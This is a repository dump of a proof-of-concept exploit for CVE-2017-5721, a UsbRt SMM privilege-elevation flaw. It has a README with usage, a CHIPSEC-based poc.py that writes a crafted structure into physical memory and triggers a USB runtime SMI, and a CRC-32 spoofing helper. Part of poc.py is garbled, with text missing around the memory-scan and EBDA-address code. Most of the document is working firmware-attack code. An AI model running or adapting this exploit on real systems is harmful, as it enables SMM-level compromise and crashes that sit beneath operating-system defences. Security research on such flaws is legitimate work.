├── README.md ├── poc.py └── crc_spoof.py /README.md: -------------------------------------------------------------------------------- 1 | # UsbRt SMM Privilege Elevation 2 | 3 | This is a Proof-of-Concept code that demonstrates the exploitation of the CVE-2017-5721 vulnerability. This PoC causes a system to be completely stuck because of Machine Check Exception occurred. 4 | 5 | All you need is [CHIPSEC Framework](https://github.com/chipsec/chipsec) installed. And don't forget to put `GRUB_CMDLINE_LINUX_DEFAULT="quiet splash acpi=off"` in `/etc/default/grub` if you have Intel device. 6 | 7 | Usage example: 8 | ``` 9 | sudo python poc.py 10 | ``` 11 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | from struct import pack, unpack 2 | from crc_spoof import * 3 | 4 | import chipsec.chipset 5 | from chipsec.hal.interrupts import Interrupts 6 | 7 | PAGE_SIZE = 0x1000 8 | SMI_USB_RUNTIME = 0x31 9 | 10 | cs = chipsec.chipset.cs() 11 | cs.init(None, True, True) 12 | 13 | intr = Interrupts(cs) 14 | SMRAM = cs.cpu.get_SMRAM()[0] 15 | 16 | mem_read = cs.helper.read_physical_mem 17 | mem_write = cs.helper.write_physical_mem 18 | mem_alloc = cs.helper.alloc_physical_mem 19 | io_read = cs.helper.read_io_port 20 | 21 | # check if system is in ACPI mode 22 | # assert (io_read(0x1804, 1) & 1) == 0, "this system is in ACPI mode now" 23 | 24 | # locate EFI_USB_PROTOCOL and usb_data in the memory 25 | for addr in xrange(SMRAM / PAGE_SIZE - 1, 0, -1): 26 | if mem_read(addr * PAGE_SIZE, 4) == 'USBP': 27 | usb_protocol = addr * PAGE_SIZE 28 | usb_data = unpack("> 32: 43 | struct_addr = ebda_addr 44 | 45 | # prepare our structure 46 | mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # clean the structure 47 | mem_write(struct_addr + 0x0, 1, '\x2d') # subfunction number 48 | mem_write(struct_addr + 0xb, 1, '\x10') # arithmetic adjustment 49 | 50 | # store the pointer to the structure in the EBDA 51 | mem_write(ebda_addr + 0x104, 4, pack('. 21 | # 22 | 23 | import os, sys, zlib 24 | 25 | # reimplemented to work with buffers 26 | def modify_buffer_crc32(buffer, offset, newcrc, printstatus=False): 27 | if newcrc & MASK != newcrc: 28 | return "Error: Invalid new CRC-32 value" 29 | 30 | length = len(buffer) 31 | 32 | if offset + 4 > length: 33 | raise ValueError("Byte offset plus 4 exceeds buffer length") 34 | 35 | # Calculate original CRC-32 value 36 | crc = get_buffer_crc32(buffer) 37 | if printstatus: 38 | print("Buffer CRC-32: {:08X}".format(reverse32(crc))) 39 | 40 | # Compute the change to make 41 | delta = crc ^ newcrc 42 | delta = multiply_mod(reciprocal_mod(pow_mod(2, (length - offset) * 8)), delta) 43 | 44 | # Patch 4 bytes in the buffer 45 | bytes4 = bytearray(buffer[offset:offset+4]) 46 | if len(bytes4) != 4: 47 | raise IOError("Cannot read 4 bytes at offset") 48 | 49 | if printstatus: 50 | print("Target bytes @ offset: {:s}".format(str(bytes4).encode('hex'))) 51 | 52 | for i in range(4): 53 | bytes4[i] ^= (reverse32(delta) >> (i * 8)) & 0xFF 54 | 55 | if printstatus: 56 | print("Patched value: {:s}".format(str(bytes4).encode('hex'))) 57 | 58 | result = str(buffer[0:offset] + bytes4 + buffer[offset+4:]) 59 | 60 | if printstatus: 61 | print("Computed and wrote patch") 62 | 63 | # Recheck entire file 64 | if get_buffer_crc32(result) != newcrc: 65 | raise AssertionError("Failed to update CRC-32 to desired value") 66 | elif printstatus: 67 | print("New CRC-32 successfully verified") 68 | 69 | return result 70 | 71 | # Public library function. path is str/unicode, offset is uint, newcrc is uint32, printstatus is bool. 72 | # Returns None. May raise IOError, ValueError, AssertionError. 73 | def modify_file_crc32(path, offset, newcrc, printstatus=False): 74 | with open(path, "r+b") as raf: 75 | raf.seek(0, os.SEEK_END) 76 | length = raf.tell() 77 | if offset + 4 > length: 78 | raise ValueError("Byte offset plus 4 exceeds file length") 79 | 80 | # Read entire file and calculate original CRC-32 value 81 | crc = get_file_crc32(raf) 82 | if printstatus: 83 | print("Original CRC-32: {:08X}".format(reverse32(crc))) 84 | 85 | # Compute the change to make 86 | delta = crc ^ newcrc 87 | delta = multiply_mod(reciprocal_mod(pow_mod(2, (length - offset) * 8)), delta) 88 | 89 | # Patch 4 bytes in the file 90 | raf.seek(offset) 91 | bytes4 = bytearray(raf.read(4)) 92 | if len(bytes4) != 4: 93 | raise IOError("Cannot read 4 bytes at offset") 94 | for i in range(4): 95 | bytes4[i] ^= (reverse32(delta) >> (i * 8)) & 0xFF 96 | raf.seek(offset) 97 | raf.write(bytes4) 98 | if printstatus: 99 | print("Computed and wrote patch") 100 | 101 | # Recheck entire file 102 | if get_file_crc32(raf) != newcrc: 103 | raise AssertionError("Failed to update CRC-32 to desired value") 104 | elif printstatus: 105 | print("New CRC-32 successfully verified") 106 | 107 | 108 | # ---- Utilities ---- 109 | 110 | POLYNOMIAL = 0x104C11DB7 # Generator polynomial. Do not modify, because there are many dependencies 111 | MASK = (1 << 32) - 1 112 | 113 | def get_buffer_crc32(buffer): 114 | crc = zlib.crc32(buffer) 115 | return reverse32(crc & MASK) 116 | 117 | def get_file_crc32(raf): 118 | raf.seek(0) 119 | crc = 0 120 | while True: 121 | buffer = raf.read(128 * 1024) 122 | if len(buffer) == 0: 123 | return reverse32(crc & MASK) 124 | else: 125 | crc = zlib.crc32(buffer, crc) 126 | 127 | def reverse32(x): 128 | y = 0 129 | for i in range(32): 130 | y = (y << 1) | (x & 1) 131 | x >>= 1 132 | return y 133 | 134 | 135 | # ---- Polynomial arithmetic ---- 136 | 137 | # Returns polynomial x multiplied by polynomial y modulo the generator polynomial. 138 | def multiply_mod(x, y): 139 | # Russian peasant multiplication algorithm 140 | z = 0 141 | while y != 0: 142 | z ^= x * (y & 1) 143 | y >>= 1 144 | x <<= 1 145 | if (x >> 32) & 1 != 0: 146 | x ^= POLYNOMIAL 147 | return z 148 | 149 | # Returns polynomial x to the power of natural number y modulo the generator polynomial. 150 | def pow_mod(x, y): 151 | # Exponentiation by squaring 152 | z = 1 153 | while y != 0: 154 | if y & 1 != 0: 155 | z = multiply_mod(z, x) 156 | x = multiply_mod(x, x) 157 | y >>= 1 158 | return z 159 | 160 | # Computes polynomial x divided by polynomial y, returning the quotient and remainder. 161 | def divide_and_remainder(x, y): 162 | if y == 0: 163 | raise ValueError("Division by zero") 164 | if x == 0: 165 | return (0, 0) 166 | 167 | ydeg = get_degree(y) 168 | z = 0 169 | for i in range(get_degree(x) - ydeg, -1, -1): 170 | if (x >> (i + ydeg)) & 1 != 0: 171 | x ^= y << i 172 | z |= 1 << i 173 | return (z, x) 174 | 175 | # Returns the reciprocal of polynomial x with respect to the modulus polynomial m. 176 | def reciprocal_mod(x): 177 | # Based on a simplification of the extended Euclidean algorithm 178 | y = x 179 | x = POLYNOMIAL 180 | a = 0 181 | b = 1 182 | while y != 0: 183 | q, r = divide_and_remainder(x, y) 184 | c = a ^ multiply_mod(q, b) 185 | x = y 186 | y = r 187 | a = b 188 | b = c 189 | if x == 1: 190 | return a 191 | else: 192 | raise ValueError("Reciprocal does not exist") 193 | 194 | def get_degree(x): 195 | return x.bit_length() - 1 196 | --------------------------------------------------------------------------------